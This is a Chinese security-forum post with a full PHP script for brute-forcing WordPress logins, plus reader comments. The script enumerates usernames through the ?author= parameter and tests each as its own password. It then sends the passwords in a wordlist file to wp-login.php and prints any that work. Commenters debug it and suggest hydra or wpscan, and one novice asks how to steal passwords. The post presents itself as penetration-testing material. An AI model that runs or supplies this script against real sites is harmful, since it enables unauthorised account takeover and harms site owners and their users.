跑wordpress用户密码脚本

瞌睡龙 2013-09-17 15:04:00

在做渗透测试的时候,有时候会遇到一个wordpress博客,如果版本比较新,插件也没有漏洞的话,可以爆破用户名密码来尝试下。

大脑混沌情况下写的,有bug欢迎提出,由于是php的所以跑起来比较慢,下次发包还是调用命令结合hydra来爆破。

原理是通过URL/?author=遍历获取用户名,然后先跑用户名与密码相同的用户,再调用同目录下pass.txt中的密码文件进行爆破。

默认获取前10个用户,可自行修改。

使用方法:

php wordpress.php http://www.test.com

``````
<?php

set_time_limit(0); 
$domain = $argv[1];

//获取用户名
for ($i=1; $i <= 10; $i++) {

    $url = $domain."/?author=".$i;
    $response = httprequest($url,0);
    if ($response == 404) {
        continue;
    }
    $pattern = "/author\/(.*)\/feed/";
    preg_match($pattern, $response, $name);
    $namearray[] = $name[1];
}

echo "共获取用户".count($namearray)."名用户\n";

echo "正在破解用户名与密码相同的用户:\n";

$crackname = crackpassword($namearray,"same");

$passwords = file("pass.txt");

echo "正在破解弱口令用户:\n";

if ($crackname) {
    $namearray = array_diff($namearray,$crackname);
}

crackpassword($namearray,$passwords);

function crackpassword($namearray,$passwords){
    global $domain;
    $crackname = "";
    foreach ($namearray as $name) {
        $url = $domain."/wp-login.php";
        if ($passwords == "same") {
            $post = "log=".urlencode($name)."&pwd=".urlencode($name)."&wp-submit=%E7%99%BB%E5%BD%95&redirect_to=".urlencode($domain)."%2Fwp-admin%2F&testcookie=1";
            $pos = strpos(httprequest($url,$post),'div id="login_error"');
            if ($pos === false) {
                echo "$name $name"."\n";
                $crackname[] = $name;
            }
        }else{
            foreach ($passwords as $pass) {
                $post = "log=".urlencode($name)."&pwd=".urlencode($pass)."&wp-submit=%E7%99%BB%E5%BD%95&redirect_to=".urlencode($domain)."%2Fwp-admin%2F&testcookie=1";
                $pos = strpos(httprequest($url,$post),'div id="login_error"');
                if ($pos === false) {
                    echo "$name $pass"."\n";
                }
            }
        }
    }
    return $crackname;
}


function httprequest($url,$post){
    $ch = curl_init(); 
    curl_setopt($ch, CURLOPT_URL, "$url"); 
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); 
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION,1);

    if($post){
        curl_setopt($ch, CURLOPT_POST, 1);//post提交方式
        curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
    }

    $output = curl_exec($ch); 
    $httpcode = curl_getinfo($ch,CURLINFO_HTTP_CODE);
    curl_close($ch);


    if ($httpcode == 404) {
        return 404;
    }else{
        return $output;
    }
}
?>

评论

E

erevus 2013-09-17 15:53:27

好东西啊

瘦蛟舞 2013-09-17 16:09:23

龙哥的东西一直很实用~

C

ccSec 2013-09-17 17:07:55

龙哥好流逼。

园长 2013-09-17 17:44:56

wordpress太张狂了,连个验证码都不加。

C

c4rp3nt3r 2013-09-17 21:37:38

昨天我刚好也写了一个wordpress枚举用户名的小功能,楼主这个程序里面,枚举用户名的地方有问题。
一是 里的用户名是该用户显示的时候的名字,比如 登录用户名 admin,可以设置成 Administrator或者什么。虽然很多是一样的,这里确实不严谨。另一方面wordpress版本比较多,各种seo插件也比较多枚举用户名,只用里的信息貌似很不够,
还有 <body class="archive author
以及 http://site/author/admin/
这种等等。
交流而已,没别的意思。

C

c4rp3nt3r 2013-09-17 21:39:06

我觉得wpscan就不错,除非自己写个扫描器加入这个模块。嘿嘿。。。

I

Ivan 2013-09-18 03:25:50

收藏下~

瞌睡龙 2013-09-18 11:24:19

哈,的确,忽略了登录用户名跟title的用户名可能不一样,虽然这个产生的情况很少。那你程序取用户名,是从哪里获取的呢?

C

c4rp3nt3r 2013-09-18 11:44:17

我上面都说了哦

X

xfkxfk 2013-09-18 13:03:54

有时候/?author=number的确找不到,不过这个找到的概率到时挺高的,支持下

I

insight-labs 2013-09-20 11:33:44

亲,我一直用hydra的http-post-form。还能多线程

L

luwikes 2013-09-22 15:18:44

87

L

lhshaoren 2013-09-23 22:28:21

还不错

U

U神 2014-01-17 19:46:26

Fatal error: Call to undefined function curl_init() in C:\PHP\php-5.2.12-Win32\w
ordpress-crack.php on line 62
求解!!

V

VIP 2014-01-17 20:05:33

目测没装curl扩展

M

mango 2014-01-23 16:57:56

那该怎么办呢??、

二少 2014-04-18 10:34:05

你用post-form的时候,如果是国内的站,title 如果是中文呢,你怎么来进行编码还是怎样来获取登录错误的关键字呢/?

小威 2014-04-24 23:34:26

同求

路过 2014-05-27 10:09:52

破解出来的用户密码在哪查看?测试了没有显示有

V

Viigoss 2014-06-27 17:40:25

这正则就是个错的。这都能通过,确实可以。

瞌睡龙 2014-06-27 17:50:37

$pattern = "/author\/(.*)\/feed/";
这个发现有的wp博客是不一样 不是完全适配,需要根据情况修改。这个是根据本地的一个情况匹配的。

D

debbbbie 2014-11-26 23:55:09

能把你写的放出来吗、楼主写的确实老是出现BUG。

何仙姑 2015-04-22 19:09:19

wordpress密码要求,最短是几位?

M

mtfly 2015-08-25 15:45:42

@c4rp3nt3r wp的用户名获取实在是太蛋疼了,换成别的主题就又找不到。写正则太鸡肋了,你有比较好的办法么?

M

myhalo 2016-02-16 15:15:31

wpscan

路人甲 2016-03-29 15:01:43

求问 知道了攻击目标的大量用户名后该怎么不用字典的盗取密码?
顺便问一下 你这个怎么用啊 我小白
php wordpress.php http://www.test.com 这个使用方法看不懂啊

V

vforbox 2016-04-17 16:53:00

龙哥,这个脚本好眼熟...

瞌睡龙

fighting……

twitter weibo github wechat

随机分类

CTF 文章:62 篇
Python安全 文章:13 篇
Android 文章:89 篇
MongoDB安全 文章:3 篇
逻辑漏洞 文章:15 篇

扫码关注公众号

WeChat Offical Account QRCode

最新评论

Article_kelp

因为这里的静态目录访功能应该理解为绑定在static路径下的内置路由,你需要用s

N

Nas

师傅您好!_static_url_path那 flag在当前目录下 通过原型链污

Z

zhangy

你好,为什么我也是用windows2016和win10,但是流量是smb3,加密

K

k0uaz

foniw师傅提到的setfge当在类的字段名成是age时不会自动调用。因为获取

Yukong

🐮皮

目录